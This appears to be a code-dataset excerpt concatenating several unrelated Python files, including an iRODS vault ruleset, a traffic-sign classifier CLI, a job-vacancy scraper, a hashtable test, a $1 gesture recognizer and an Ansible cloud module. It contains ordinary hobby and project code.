org_metadata = dict(folder.get_org_metadata(ctx, path))\n\n if attribute in org_metadata:\n return org_metadata[attribute]\n else:\n return None\n\n\ndef set_approver(ctx, path, actor):\n \"\"\"Set approver of data package for publication.\"\"\"\n attribute = constants.UUORGMETADATAPREFIX + \"publication_approval_actor\"\n avu.set_on_coll(ctx, path, attribute, actor)\n\n\ndef get_approver(ctx, path):\n \"\"\"Set approver of data package for publication.\"\"\"\n attribute = constants.UUORGMETADATAPREFIX + \"publication_approval_actor\"\n org_metadata = dict(folder.get_org_metadata(ctx, path))\n\n if attribute in org_metadata:\n return org_metadata[attribute]\n else:\n return None\n\n\ndef get_doi(ctx, path):\n \"\"\"Get the DOI of a data package in the vault.\n\n :param ctx: Combined type of a callback and rei struct\n :param path: Vault package to get the DOI of\n\n :return: Data package DOI or None\n \"\"\"\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '%s' AND META_COLL_ATTR_NAME = 'org_publication_versionDOI'\" % (path),\n genquery.AS_LIST, ctx\n )\n\n for row in iter:\n return row[0]\n\n return None\n\n\ndef get_previous_version(ctx, path):\n \"\"\"Get the previous version of a data package in the vault.\n\n :param ctx: Combined type of a callback and rei struct\n :param path: Vault package to get the previous version of\n\n :return: Data package path or None\n \"\"\"\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '%s' AND META_COLL_ATTR_NAME = 'org_publication_previous_version'\" % (path),\n genquery.AS_LIST, ctx\n )\n\n for row in iter:\n return row[0]\n\n return None\n\n\ndef get_title(ctx, path):\n \"\"\"Get the title of a data package in the vault.\n\n :param ctx: Combined type of a callback and rei struct\n :param path: Vault package to get the title of\n\n :return: Data package title\n \"\"\"\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_VALUE\",\n \"COLL_NAME = '%s' AND META_COLL_ATTR_NAME = 'Title' AND META_COLL_ATTR_UNITS = 'usr_0_s'\" % (path),\n genquery.AS_LIST, ctx\n )\n\n for row in iter:\n return row[0]\n\n return \"(no title)\"\n\n\ndef meta_add_new_version(ctx, new_version, previous_version):\n \"\"\"Add new version as related resource metadata to data package in a vault.\n\n :param ctx: Combined type of a callback and rei struct\n :param new_version: Path to new version of data package in the vault\n :param previous_version: Path to previous version of data package in the vault\n \"\"\"\n form = meta_form.load(ctx, new_version)\n schema = form[\"schema\"]\n metadata = form[\"metadata\"]\n\n # Only add related data package if it is in the schema.\n if \"Related_Datapackage\" in schema[\"properties\"]:\n data_package = {\n \"Persistent_Identifier\": {\n \"Identifier_Scheme\": \"DOI\",\n \"Identifier\": \"https://doi.org/{}\".format(get_doi(ctx, previous_version))\n },\n \"Relation_Type\": \"IsNewVersionOf\",\n \"Title\": \"{}\".format(get_title(ctx, previous_version))\n }\n\n if \"Related_Datapackage\" in metadata:\n metadata[\"Related_Datapackage\"].append(data_package)\n else:\n metadata[\"Related_Datapackage\"] = [data_package]\n\n meta_form.save(ctx, new_version, metadata)\n\n # Only add related resource if it is in the schema.\n elif \"Related_Resource\" in schema[\"properties\"]:\n data_package = {\n \"Persistent_Identifier\": {\n \"Identifier_Scheme\": \"DOI\",\n \"Identifier\": \"https://doi.org/{}\".format(get_doi(ctx, previous_version))\n },\n \"Relation_Type\": \"IsNewVersionOf\",\n \"Title\": \"{}\".format(get_title(ctx, previous_version))\n }\n\n if \"Related_Resource\" in metadata:\n metadata[\"Related_Resource\"].append(data_package)\n else:\n metadata[\"Related_Resource\"] = [data_package]\n\n meta_form.save(ctx, new_version, metadata)\n\n\ndef get_all_doi_versions(ctx, path):\n \"\"\"Get the path and DOI of latest versions of published data package in a vault.\n\n :param ctx: Combined type of a callback and rei struct\n :param path: Path of vault with data packages\n\n :return: Dict of data packages with DOI\n \"\"\"\n\n iter = genquery.row_iterator(\n \"META_COLL_ATTR_NAME, META_COLL_ATTR_VALUE, GROUP(COLL_NAME)\",\n \"COLL_PARENT_NAME = '{}' AND META_COLL_ATTR_NAME IN ('org_publication_versionDOI', 'org_publication_baseDOI', 'org_publication_publicationDate')\".format(path),\n genquery.AS_LIST, ctx\n )\n\n data_packages = []\n org_publ_info = []\n\n for row in iter:\n org_publ_info.append([row[0], row[1], row[2]])\n\n # Group by collection name\n coll_names = set(map(lambda x: x[2], org_publ_info))\n grouped_coll_name = [[y[1] for y in org_publ_info if y[2] == x] + [x] for x in coll_names]\n\n # If base DOI does not exist, remove from the list and add it in the data package\n number_of_items = list(map(len, grouped_coll_name))\n indices = [i for i, x in enumerate(number_of_items) if x < 4]\n\n for item in indices:\n data_packages.append([0] + grouped_coll_name[item])\n\n grouped_coll_name = [grouped_coll_name[i] for i, e in enumerate(grouped_coll_name) if i not in indices]\n\n # Group by base DOI\n base_dois = set(map(lambda x: x[0], grouped_coll_name))\n grouped_base_dois = [[y for y in grouped_coll_name if y[0] == x] for x in base_dois]\n\n return org_publ_info, data_packages, grouped_base_dois\n\n\n@api.make()\ndef api_vault_get_published_packages(ctx, path):\n \"\"\"Get the path and DOI of latest versions of published data package in a vault.\n\n :param ctx: Combined type of a callback and rei struct\n :param path: Path of vault with data packages\n\n :return: Dict of data packages with DOI\n \"\"\"\n\n org_publ_info, data_packages, grouped_base_dois = get_all_doi_versions(ctx, path)\n\n # Sort by publication date\n sorted_publ = [sorted(x, key=lambda x:datetime.strptime(x[1], \"%Y-%m-%dT%H:%M:%S.%f\")) for x in grouped_base_dois]\n\n latest_publ = map(lambda x: x[-1], sorted_publ)\n\n # Append to data package\n for items in latest_publ:\n data_packages.append(items)\n\n # Retrieve title of data packages.\n published_packages = {}\n for item in data_packages:\n published_packages[item[2]] = {\"path\": item[3], \"title\": get_title(ctx, item[3])}\n\n return published_packages\n\n\ndef update_archive(ctx, coll, attr=None):\n \"\"\"Potentially update archive after metadata changed.\n\n :param ctx: Combined type of a callback and rei struct\n :param coll: Path to data package\n :param attr: The AVU that was changed, if any\n \"\"\"\n if config.enable_data_package_archive:\n import vault_archive\n\n vault_archive.update(ctx, coll, attr)\n","repo_name":"UtrechtUniversity/yoda-ruleset","sub_path":"vault.py","file_name":"vault.py","file_ext":"py","file_size_in_byte":51587,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"43337919261","text":"import argparse\n\nfrom Dataset import Dataset\nfrom network import Network\n\nPCA_DIM = 300\n\n\ndef get_model(input_hyperparam):\n classification = 0 if input_hyperparam.classification == \"binary\" else 1\n loss = 0 if input_hyperparam.classification == \"binary\" else 1\n return Network(input_hyperparam, classification, loss)\n\n\ndef get_args():\n parser = argparse.ArgumentParser(description='CSE251B PA1')\n parser.add_argument('--parameters-mode', type=str, default=\"args\",\n help='The parameters can be feed in \"args\" or use \"predefined\" (default: args)')\n parser.add_argument('--batch-size', type=int, default=1,\n help='input batch size for training (default: 1)')\n parser.add_argument('--epochs', type=int, default=100,\n help='number of epochs to train (default: 100)')\n parser.add_argument('--learning-rate', type=float, default=0.001,\n help='learning rate (default: 0.001)')\n parser.add_argument('--in-dim', type=int, default=32 * 32,\n help='number of principal components to use (default: 32 * 32)')\n parser.add_argument('--out-dim', type=int, default=43,\n help='number of outputs (default: 43)')\n parser.add_argument('--k-folds', type=int, default=10,\n help='number of folds for cross-validation (default: 10)')\n parser.add_argument('--classification', type=str, default=\"multi\",\n help='binary vs multi (default: multi)')\n parser.add_argument('--gradient-descent', type=str, default=\"sgd\",\n help='batch vs sgd vs both (compare) (default: sgd)')\n parser.add_argument('--align', type=bool, default=True,\n help='Align the images to the center (default: True)')\n parser.add_argument('--pca', type=bool, default=True,\n help='Apply PCA to the dataset (default: True)')\n parser.add_argument('--pca-dim', type=int, default=100,\n help='Output dim of PCA (default: 100)')\n\n parameters = parser.parse_args()\n\n parameters.fold_runs = 10\n parameters.classes = None\n\n if parameters.parameters_mode != \"args\":\n print(\"1. Q 5_b Logistic Regression Unaligned\")\n print(\"2. Q 5_c Logistic Regression Aligned\")\n print(\"3. Q 5_d Logistic Regression Dangerous Curve\")\n print(\"4. Q 6_a_i Softmax Regression with PCA and Aligned Dataset\")\n print(\"5. Q 6_a_ii Softmax Regression without PCA and Aligned Dataset\")\n print(\"6. Q 6_a_ii Softmax Regression with PCA and Unaligned Dataset\")\n print(\"7. Q 6_b_i SGD with PCA and Aligned Dataset\")\n print(\"8. Q 6_b_ii Batch v/s SGD\")\n\n choice = int(input(\"Enter your choice of combination:\"))\n\n if choice == 1:\n parameters.fold_runs = 1\n parameters.align = False\n parameters.pca_dim = 100\n parameters.classification = \"binary\"\n parameters.gradient_descent = 'batch'\n parameters.classes = [7, 8]\n\n elif choice == 2:\n parameters.align = True\n parameters.pca_dim = 100\n parameters.classification = \"binary\"\n parameters.gradient_descent = 'batch'\n parameters.classes = [7, 8]\n\n elif choice == 3:\n parameters.align = True\n parameters.pca_dim = 100\n parameters.classification = \"binary\"\n parameters.gradient_descent = 'batch'\n parameters.classes = [19, 20]\n\n elif choice == 4:\n parameters.align = True\n parameters.pca = True\n parameters.pca_dim = 300\n parameters.gradient_descent = \"batch\"\n parameters.classification = \"multi\"\n\n elif choice == 5:\n parameters.align = True\n parameters.pca = False\n parameters.gradient_descent = \"batch\"\n parameters.classification = \"multi\"\n\n elif choice == 6:\n parameters.align = False\n parameters.pca = True\n parameters.pca_dim = 300\n parameters.gradient_descent = \"batch\"\n parameters.classification = \"multi\"\n\n elif choice == 7:\n parameters.align = True\n parameters.pca = True\n parameters.pca_dim = 300\n parameters.gradient_descent = \"sgd\"\n parameters.classification = \"multi\"\n\n elif choice == 8:\n parameters.align = True\n parameters.pca = True\n parameters.pca_dim = 300\n parameters.gradient_descent = \"both\"\n parameters.classification = \"multi\"\n parameters.learning_rate = 0.005\n\n else:\n print(\"Option Not available\")\n return None\n\n return parameters\n\n\nif __name__ == '__main__':\n hyperparameters = get_args()\n\n assert hyperparameters is not None\n\n dataset = Dataset(aligned=hyperparameters.align, filter=hyperparameters.classes)\n mini_batch = dataset.features, dataset.labels\n\n hyperparameters.in_dim = hyperparameters.pca_dim if hyperparameters.pca else dataset.features.shape[1]\n hyperparameters.out_dim = dataset.labels.shape[1]\n\n model = get_model(input_hyperparam=hyperparameters)\n\n model.run_fold_set(mini_batch)\n","repo_name":"ashish-farande/Traffic-Sign-Classification","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16040240352","text":"from cgitb import text\nimport json\nimport requests\nfrom bs4 import BeautifulSoup\nfrom transliterate import translit, get_available_language_codes\nimport pymongo\nfrom pymongo import MongoClient\n\n#shamaning with Mongo Client\nclient = MongoClient('mongodb://localhost:27017')\ndb = client.vacancydb\n#list of dicts of vacancies (not needed for homework 3)\n#main_list = []\nheaders = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36'}\ntext_translite=translit(input('write name of vacancy here:').replace(' ', '_').replace(\"'\", \"\").lower(), 'ru', reversed=True)\nurl = 'https://hh.ru/search/vacancy'\nparams = {'text': text_translite, 'page': '0'}\npage_counter = 0\nsession = requests.Session()\nwhile True:\n resp = session.get(url, headers=headers, params=params)\n dom = BeautifulSoup(resp.content, 'html.parser')\n page = dom.find('div', attrs= {'class':'pager'}).find('a', attrs={'data-qa':'pager-next'})\n if page == None:\n break\n vacancy = dom.find_all('div', attrs={'class':'vacancy-serp-item-body__main-info'})\n for i in vacancy:\n vacancy_name = i.find('a', attrs={'data-qa':'vacancy-serp__vacancy-title'}).text\n#finding link on vacancy \n vacancy_link = i.find('a', attrs={'data-qa':'vacancy-serp__vacancy-title'})['href']\n#checking that link on our db\n finder = db.vacancy.find({'link':{'$eq':vacancy_link}})\n for i in finder:\n if i['link'] != vacancy_link:\n salary_dict = {'name': vacancy_name, 'salary':'', 'link': vacancy_link, 'from': 'https://hh.ru/'}\n vacancy_salary = i.find('span', attrs={'data-qa':'vacancy-serp__vacancy-compensation'})\n#making list of vacancy salary\n if vacancy_salary != None:\n vacancy_salary=vacancy_salary.text\n splited_salary = vacancy_salary.split(' ')\n try:\n splited_salary.remove('–')\n except ValueError:\n pass\n try:\n splited_salary.remove('от')\n except ValueError:\n pass\n salary_list = []\n#making int from strings \n if splited_salary[-1] =='руб.':\n for i in splited_salary:\n if len(i)> 5:\n if len(i)<7:\n d = i[:2]\n j= i[-3:]\n salary_digit = int(''.join([d,j]))\n salary_list.append(salary_digit)\n else:\n d=i[:3]\n j=i[-3:]\n salary_digit = int(''.join([d,j]))\n salary_list.append(salary_digit)\n else:\n for i in splited_salary:\n if len(i)> 3:\n d = i[:1]\n j= i[-3:]\n salary_digit = int(''.join([d,j]))\n salary_list.append(salary_digit)\n salary_list.append(splited_salary[-1])\n salary_dict['salary'] = salary_list\n salary_list = []\n else:\n salary_dict['salary'] = \"wasn't announced\"\n#printing our dict and adding it to db if link isn't in db already\n print(salary_dict)\n db.vacancy.update_one(salary_dict)\n #main_list.append(salary_dict)\n #else:\n #print(vacancy_name)\n page_counter+=1\n params['page'] = str(page_counter)\n#adding list of vacancies to json file\n#with open('jobs.json', 'w', encoding='utf-8') as a:\n #json.dump(main_list, a)\n#for i in main_list:\n #for j,k in i.items():\n #print(j,k)","repo_name":"Karadesh/Parsing_internet","sub_path":"lesson_3/lesson_2(1).py","file_name":"lesson_2(1).py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37293115211","text":"\n\"\"\"Here, I test my implementation of a hashtable by applying a command-line \ninterfface \"\"\"\n\nimport hash as ht\n\nHT = ht.Hashtable()\n\ndef printMenu():\n print(\"Commands:\")\n print(\"\\tEnter i to insert\\n\\tEnter l to lookup\\n\\tEnter d to display contents\")\n print(\"\\tEnter Q to quit\")\n command = input(\"Please enter a command: \")\n \n return command\n\ndef insert():\n key = int(input(\"Enter the key for the new data: \"))\n data = input(\"Enter the data: \")\n\n HT.insert(key, data)\n print(str(data) + \" added\")\n display()\n\ndef lookup():\n key = int(input(\"Please enter key of data: \"))\n data = HT.lookup(key)\n print(\"Data at key \" + str(key) + \" is \" + str(data))\n\ndef display():\n if HT.size() == 0:\n print(\"The table is empty.\")\n else:\n print(HT)\n\ndef main():\n \n print(\"Now running interface for Hashtable...\")\n command = \"\"\n while True:\n command = printMenu()\n if command == \"Q\":\n break\n elif command == \"i\":\n insert()\n elif command == \"l\":\n lookup()\n elif command == \"d\":\n display()\n else:\n print(\"Incorrect command!\")\n\n print()\nmain()\n\n","repo_name":"davidalexander3986/PythonDataStructures","sub_path":"Hashtable/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28484150763","text":"#!/usr/bin/python3\n# Originally from: https://frostyx.cz/posts/vimwiki-diary-template\nimport calendar\nimport sys\nfrom datetime import date\n\ntemplate = \"\"\"# {date} {day_of_week}\n\n## Daily Stand Up\n**Yesterday**\n *\n**Today**\n *\n**Blockers**\n * None\n\n\n## Notes\"\"\"\n\nyyyy_mm_dd = (date.today() if len(sys.argv) < 2\n # Expecting filename in YYYY-MM-DD.foo format\n else sys.argv[1].rsplit(\".\", 1)[0])\n\ncurrent_date = date.today()\nday_of_week = calendar.day_name[current_date.weekday()]\n\n\nprint(template.format(date=yyyy_mm_dd, day_of_week=day_of_week))\n","repo_name":"geordan/dotfiles","sub_path":"bin/generate-vimwiki-diary-template.py","file_name":"generate-vimwiki-diary-template.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"75525312853","text":"#!/usr/bin/env python3\n# coding: utf-8\n\n\"\"\"\nTo be able to compare the drawn unistroke and the shown template in the minigame,\nthis recognizer is used.\n\nAuthors: Thomas Oswald, Paul Winderl\n\"\"\"\n\nimport math\nimport os\n\n\nclass Recognizer():\n\n \"\"\"\n Implementation of the $1 recognition algorithm.\n Wobbrock, J.O., Wilson, A.D. and Li, Y. (2007).\n Gestures without libraries, toolkits or training:\n A $1 recognizer for user interface prototypes.\n Proceedings of the ACM Symposium on User Interface Software\n and Technology (UIST ’07).\n Newport, Rhode Island (October 7-10, 2007). New York: ACM\n Press, pp. 159-168.,\n see also https://depts.washington.edu/aimgroup/proj/dollar/\n \"\"\"\n\n def __init__(self, stepsize=64):\n self.stepsize = stepsize\n self.recognize_flag = True\n self.callback = None\n\n def set_flag(self, needs_recognizing):\n self.recognize_flag = needs_recognizing\n\n def set_callback(self, callback):\n self.callback = callback\n\n def recognize(self, points, p_name, t_name):\n if len(points) > 1:\n points = self.resample(points)\n points = self.rotate_to_zero(points)\n points = self.scale_to_square(points, 100)\n points = self.translate_to_origin(points)\n # read in templates\n templates = []\n if not os.access(\"strokes.map\", os.F_OK):\n with open(\"strokes.map\", \"w\"):\n pass\n with open(\"strokes.map\", \"r\") as f:\n for line in f.readlines():\n parts = line.split(\":\")\n name = parts[0]\n if t_name == name:\n templates.append(\n {\"name\": name, \"points\": eval(parts[1])})\n if len(templates) > 0:\n result = self.compare(points, templates, 100)\n if result[0] is not None and self.callback is not None:\n self.callback(result[0][\"name\"], result[1], p_name)\n return\n self.callback(\"None\", 0, p_name)\n\n # Takes the points of the unistroke as input.\n # Calculates the distance distance between two points.\n # Returns the calculated points.\n def resample(self, points):\n # length of each increment\n inc_length = self.get_path_length(points) / (self.stepsize - 1)\n new_points = []\n new_points.append(points[0])\n whole_distance = 0\n try:\n for idx, point in enumerate(points):\n if idx == 0:\n continue\n last_pos = points[idx - 1]\n d = self.distance(last_pos, point)\n if whole_distance + d >= inc_length:\n qx = last_pos[0] + ((inc_length - whole_distance) / d) * \\\n (point[0] - last_pos[0])\n qy = last_pos[1] + ((inc_length - whole_distance) / d) * \\\n (point[1] - last_pos[1])\n new_points.append((qx, qy))\n points.insert(idx, (qx, qy))\n whole_distance = 0\n else:\n whole_distance += d\n if len(new_points) == 63:\n new_points.append(points[-1])\n if len(new_points) > 64:\n return new_points[63:]\n except Exception as e:\n print(e)\n return new_points\n\n # Gets two points\n # Calculates and returns the distance between them.\n def distance(self, pos1, pos2):\n return math.sqrt((pos1[0] - pos2[0])**2 +\n (pos1[1] - pos2[1])**2)\n\n # Gets the unistroke as input.\n # Returns the length of the whole path.\n def get_path_length(self, points):\n length = 0\n for idx in range(1, len(points)):\n length += self.distance(points[idx - 1], points[idx])\n return length\n\n # Rotate points so their indicative angle is at 0°.\n def rotate_to_zero(self, points):\n c = self.centroid(points)\n radian = math.atan2(c[1] - points[0][1], c[0] - points[0][0])\n new_points = self.rotate_by(points, -radian)\n return new_points\n\n # Calculates the centroid of points.\n def centroid(self, points):\n xs, ys = zip(*points)\n return sum(xs) / len(xs), sum(ys) / len(ys)\n\n def rotate_by(self, points, radian):\n c = self.centroid(points)\n new_points = []\n for point in points:\n x = (point[0] - c[0]) * math.cos(radian) - \\\n (point[1] - c[1]) * math.sin(radian) + c[0]\n y = (point[0] - c[0]) * math.sin(radian) + \\\n (point[1] - c[1]) * math.cos(radian) + c[1]\n new_points.append((x, y))\n return new_points\n\n # Scales the points to a specified size and returns the new points\n def scale_to_square(self, points, size):\n box = self.bounding_box(points)\n new_points = []\n for point in points:\n x = point[0] * (size / box[0])\n y = point[1] * (size / box[1])\n new_points.append((x, y))\n return new_points\n\n # https://depts.washington.edu/madlab/proj/dollar/dollar.js\n # reference square\n def bounding_box(self, points):\n min_x = math.inf\n max_x = -math.inf\n min_y = math.inf\n max_y = -math.inf\n for point in points:\n min_x = min(min_x, point[0])\n min_y = min(min_y, point[1])\n max_x = max(max_x, point[0])\n max_y = max(max_y, point[1])\n return (max_x - min_x, max_y - min_y)\n\n # Translates the points to origin (0, 0)\n # Centroid is now at (0, 0)\n def translate_to_origin(self, points):\n c = self.centroid(points)\n new_points = []\n for p in points:\n x = p[0] + (0 - c[0])\n y = p[1] + (0 - c[1])\n new_points.append((x, y))\n return new_points\n\n # Compares minimum distances between sample and templates\n # Returns the best matching template\n def compare(self, sample, templates, size):\n b = None\n s_template = None\n theta = math.radians(45)\n theta_delta = math.radians(2)\n for t in templates:\n d = self.distance_at_best_angle(\n sample, t[\"points\"], -theta, theta, theta_delta)\n if b is None:\n b = d\n if d < b:\n b = d\n s_template = t\n score = 1 - b / 0.5 * math.sqrt(size * size + size * size)\n return (s_template, score)\n\n # Calculates the distances\n def distance_at_best_angle(self, points, template,\n theta_a, theta_b, theta_c):\n\n phi = 0.5 * (-1 + math.sqrt(5))\n x1 = phi * theta_a + (1 - phi) * theta_b\n f1 = self.distance_at_angle(points, template, x1)\n x2 = (1 - phi) * theta_a + phi * theta_b\n f2 = self.distance_at_angle(points, template, x2)\n while abs(theta_b - theta_a) > theta_c:\n if f1 < f2:\n theta_b = x2\n x2 = x1\n f2 = f1\n x1 = phi * theta_a + (1 - phi) * theta_b\n f1 = self.distance_at_angle(points, template, x1)\n else:\n theta_a = x1\n x1 = x2\n f1 = f2\n x2 = (1 - phi) * theta_a + phi * theta_b\n f2 = self.distance_at_angle(points, template, x2)\n return min(f1, f2)\n\n def distance_at_angle(self, points, template, theta):\n points = self.rotate_by(points, theta)\n return self.path_distance(points, template)\n\n def path_distance(self, a, b):\n d = 0\n length = len(a)\n for idx in range(length - 1):\n d += self.distance(a[idx], b[idx])\n return d / length\n","repo_name":"PWinderl/ITT_Project","sub_path":"recognizer.py","file_name":"recognizer.py","file_ext":"py","file_size_in_byte":7838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22056527575","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Есть список песен группы Depeche Mode со временем звучания с точносттю до долей минут\n\nviolator_songs_list = [\n ['World in My Eyes', 4.86],\n ['Sweetest Perfection', 4.43],\n ['Personal Jesus', 4.56],\n ['Halo', 4.9],\n ['Waiting for the Night', 6.07],\n ['Enjoy the Silence', 4.20],\n ['Policy of Truth', 4.76],\n ['Blue Dress', 4.29],\n ['Clean', 5.83],\n]\n\n# распечатайте общее время звучания трех песен: 'Halo', 'Enjoy the Silence' и 'Clean' в формате\n# Три песни звучат ХХХ минут\n# Обратите внимание, что делать много вычислений внутри print() - плохой стиль.\n# Лучше заранее вычислить необходимое, а затем в print(xxx, yyy, zzz)\n\nsum_sound_time = 0\nsum_sound_time += violator_songs_list[3][1]\nsum_sound_time += violator_songs_list[5][1]\nsum_sound_time += violator_songs_list[8][1]\n\nprint('Три песни звучат', round(sum_sound_time, 2), 'минут')\n\n\n# Есть словарь песен группы Depeche Mode\nviolator_songs_dict = {\n 'World in My Eyes': 4.76,\n 'Sweetest Perfection': 4.43,\n 'Personal Jesus': 4.56,\n 'Halo': 4.30,\n 'Waiting for the Night': 6.07,\n 'Enjoy the Silence': 4.6,\n 'Policy of Truth': 4.88,\n 'Blue Dress': 4.18,\n 'Clean': 5.68,\n}\n\n# распечатайте общее время звучания трех песен: 'Sweetest Perfection', 'Policy of Truth' и 'Blue Dress'\n# А другие три песни звучат ХХХ минут\n\nsum_sound_time = 0\nsum_sound_time += violator_songs_dict['Sweetest Perfection']\nsum_sound_time += violator_songs_dict['Policy of Truth']\nsum_sound_time += violator_songs_dict['Blue Dress']\n\nprint('А другие три песни звучат', round(sum_sound_time, 2), 'минут')\n\n# Зачет!\n","repo_name":"zaboevai/python_base","sub_path":"lesson_002/06_songs_list.py","file_name":"06_songs_list.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"ru","doc_type":"code","stars":16,"dataset":"github-code","pt":"67"} +{"seq_id":"25735780382","text":"'''\r\nUsed sets to solve this puzzle.\r\nNew functions used: ord, \r\nord - returns an integer representing the unicode character, it is the inverse of chr\r\n'''\r\n\r\ndef f1(rucksack):\r\n middle = int(len(rucksack)/2)\r\n compartment1 = set(rucksack[:middle])\r\n compartment2 = set(rucksack[middle:])\r\n shared_item = compartment1.intersection(compartment2).pop()\r\n\r\n if shared_item.islower():\r\n priority = ord(shared_item) - ord('a') + 1\r\n else:\r\n priority = ord(shared_item) - ord('A') + 27\r\n\r\n return priority\r\n\r\ndef f2(lst, sum_priorities):\r\n if len(lst) == 0:\r\n return 0, sum_priorities\r\n elf1_rk = set(lst[0])\r\n elf2_rk = set(lst[1])\r\n elf3_rk = set(lst[2])\r\n lst = lst[3:]\r\n shared_item = elf1_rk.intersection(elf2_rk).intersection(elf3_rk).pop()\r\n\r\n if shared_item.islower():\r\n sum_priorities += ord(shared_item) - ord('a') + 1\r\n else:\r\n sum_priorities += ord(shared_item) - ord('A') + 27\r\n\r\n return f2(lst, sum_priorities)\r\n\r\n### input ###\r\nwith open(\"data/input_day3.txt\", \"r\") as input:\r\n\tinput_lst = input.read().splitlines()\r\n\r\n# input_lst = ['vJrwpWtwJgWrhcsFMMfFFhFp'\r\n# ,'jqHRNqRjqzjGDLGLrsFMfFZSrLrFZsSL'\r\n# ,'PmmdzqPrVvPwwTWBwg'\r\n# ,'wMqvLMZHhHMvwLHjbvcjnnSBnvTQFn'\r\n# ,'ttgJtRGJQctTZtZT'\r\n# ,'CrZsJsPPZsGzwwsLwLmpwMDw'\r\n# ]\r\n\r\n### puzzle 1 ###\r\nsum_priorities = 0\r\nfor rucksack in input_lst:\r\n sum_priorities += f1(rucksack=rucksack)\r\nprint ('Incorrect item sum of the priorities:', sum_priorities)\r\n\r\n### puzzle 2 ### \r\n_, sum_priorities = f2(input_lst, 0)\r\nprint (\"Three-Elf group sum of priorities:\", sum_priorities)","repo_name":"PiekeGeraedts/AdventOfCode2022","sub_path":"sol3.py","file_name":"sol3.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39317256958","text":"#!/usr/bin/python\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nDOCUMENTATION = '''\n---\nmodule: lb_healthmonitor_info\nshort_description: Get health checks info from OpenTelekomCloud\nextends_documentation_fragment: opentelekomcloud.cloud.otc\nversion_added: \"0.0.3\"\nauthor: \"Anton Sidelnikov (@anton-sidelnikov)\"\ndescription:\n - Get Enhanced Load Balancer health checks from the OTC.\noptions:\n name:\n description:\n - Optional name or id of the health check\n type: str\n delay:\n description:\n - Optional the interval between health checks in the unit of second.\n type: int\n max_retries:\n description:\n - Optional the number of consecutive health checks when the health check\n result of a backend server changes from fail to success.\n type: int\n admin_state_up:\n description:\n - Optional the administrative status of the health check.\n type: bool\n monitor_timeout:\n description:\n - Optional the health check timeout duration in the unit of second.\n type: int\n type:\n description:\n - Optional health check protocol\n choices: [tcp, udp_connect, http]\n type: str\n monitor_port:\n description:\n - Optional health check port\n type: int\n expected_codes:\n description:\n - Optional health check expected HTTP status code\n type: str\n domain_name:\n description:\n - Optional health domain name of the HTTP request during the health check\n type: str\n url_path:\n description:\n - Optional HTTP request path for the health check\n type: str\n http_method:\n description:\n - Optional health check HTTP request method\n choices: [get, head, post, put, delete, trace, options, connect, patch]\n type: str\nrequirements: [\"openstacksdk\", \"otcextensions\"]\n'''\n\nRETURN = '''\nhealthmonitors:\n description: Dictionary describing members.\n type: complex\n returned: On Success.\n contains:\n id:\n description: Specifies the health check ID.\n type: str\n sample: \"39007a7e-ee4f-4d13-8283-b4da2e037c69\"\n name:\n description: Specifies the health check name.\n type: str\n sample: \"bs_test\"\n delay:\n description: Specifies the interval between health checks in the unit of second.\n type: int\n max_retries:\n description: Specifies the number of consecutive health checks when\n the health check result of a backend server changes from fail to success.\n type: int\n pools:\n description: Lists the IDs of backend server groups associated with the health check.\n type: list\n admin_state_up:\n description: Specifies the administrative status of the health check.\n type: bool\n timeout:\n description: Specifies the health check timeout duration in the unit of second.\n type: int\n type:\n description: Specifies the health check protocol.\n type: str\n sample: TCP\n monitor_port:\n description: Specifies the health check port.\n type: int\n expected_codes:\n description: Specifies the expected HTTP status code.\n type: str\n domain_name:\n description: Specifies the domain name of the HTTP request during the health check.\n type: str\n url_path:\n description: Specifies the HTTP request path for the health check.\n type: str\n sample: /test\n http_method:\n description: Specifies the HTTP request method.\n type: str\n sample: GET\n healthmonitors_links:\n description: Provides links to the previous or next page during pagination query, respectively.\n type: list\n'''\n\nEXAMPLES = '''\n# Get a lb health monitor info.\n- lb_healthmonitor_info:\n name: hm-test\n register: healthmonitor\n\n- opentelekomcloud.cloud.lb_healthmonitor_info:\n type: \"http\"\n admin_state_up: False\n expected_codes: \"200,202,401\"\n register: healthmonitor\n'''\n\nfrom ansible_collections.opentelekomcloud.cloud.plugins.module_utils.otc import OTCModule\n\n\nclass LoadBalancerHealthMonitorInfoModule(OTCModule):\n argument_spec = dict(\n name=dict(required=False),\n delay=dict(required=False, type='int'),\n max_retries=dict(required=False, type='int'),\n admin_state_up=dict(required=False, type='bool'),\n monitor_timeout=dict(required=False, type='int'),\n type=dict(required=False, choices=['tcp', 'udp_connect', 'http']),\n monitor_port=dict(required=False, type='int'),\n expected_codes=dict(required=False, type='str'),\n domain_name=dict(required=False, type='str'),\n url_path=dict(required=False, type='str'),\n http_method=dict(required=False, choices=['get', 'head', 'post', 'put', 'delete',\n 'trace', 'options', 'connect', 'patch'])\n )\n 